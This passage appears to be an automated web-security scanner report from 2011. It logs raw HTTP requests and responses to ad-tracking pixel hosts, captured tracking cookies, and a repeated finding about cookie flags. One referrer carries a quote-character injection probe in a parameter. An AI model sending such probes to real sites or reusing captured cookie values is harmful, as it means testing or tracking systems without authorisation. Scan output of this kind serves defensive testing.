HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl2ESSWI1VkRja8M=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:10 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649e&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:10 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:09 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/869604030.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3elPsVX+8er9duzVms/qpMm; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:26 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64ae&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:26 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/887063996.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iDSaWM1VkT6a+g=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:24 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b4&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:24 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:24 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/934643839.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl0ESyMI1VkQha9I=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:18 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a6&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:18 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:18 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ajax/register/logging.php?action=form_focus®_instance=xNFJTYJu7tPBzUkyTEn2Ng8E&asyncSignal=7397 HTTP/1.1 Host: pixel.facebook.com Proxy-Connection: keep-alive Referer: http://www.facebook.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF; lsd=J5foX; wd=1036x1012
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Content-Length: 67 Content-Type: image/png Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache X-FB-Server: 10.36.132.106 Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly X-Cnection: close Date: Wed, 02 Feb 2011 21:51:03 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event/js?mt_id=101971&mt_adid=100341&v1=&v2=&v3=&s1=&s2=&s3= HTTP/1.1 Host: pixel.mathtag.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uuid=4d3702bc-839e-0690-5370-3c19a9561295; ts=1296236272
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel/p-78V15bIOxaPIs.gif?media=ad&labels=_imp.adserver.doubleclick,_imp.publisher.57234521,_imp.placement.233316945,_imp.creative.39601731 HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EFMAG6ANq0itiBDbz6HJXbIAAb8BAfgFgbUAmtGkrxPyD5HhvB0s5SBu0fLChB0bohjR4QCEgaMMF9oYHPbyDhAA0Q4QKNGT_jg5INQohIFADybhCxjCsdeDCxpRseEAKhHyAiABcoSCVegsEDsjg7EeGaIQ
Response
HTTP/1.1 200 OK Connection: close Set-Cookie: d=EBEAG6ANq0itiBDbz6HJXbIAAb8BAfoFgfUAmtGkrxPyD5HhvB0s5SBu0fLChB0bohjR4QCEgaMMF9oYHPbyDhAA0Q4QKNGT_jg5INQohIFADybhCxjCsdeDCxpRseEAKhHyAiABcoSCVegsEDsjg7EeGaIQ; expires=Tue, 03-May-2011 15:17:19 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Content-Type: image/gif Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Content-Length: 35 Date: Wed, 02 Feb 2011 15:17:19 GMT Server: QS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /api/image.ashx/collect?cb=1296661472842&url=http%3A%2F%2Foffers.lendingtree.com%2Fsplitter%2Fsplitter.ashx%3Fid%3Dmsnhptext12111%26promo%3D00313%26source%3D4666360%26esourceid%3D4666360%26800Num%3D1-800-289-1731'%26adtype%3D2&r=http%3A%2F%2Fburp%2Fshow%2F13 HTTP/1.1 Host: pixel.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1
Response
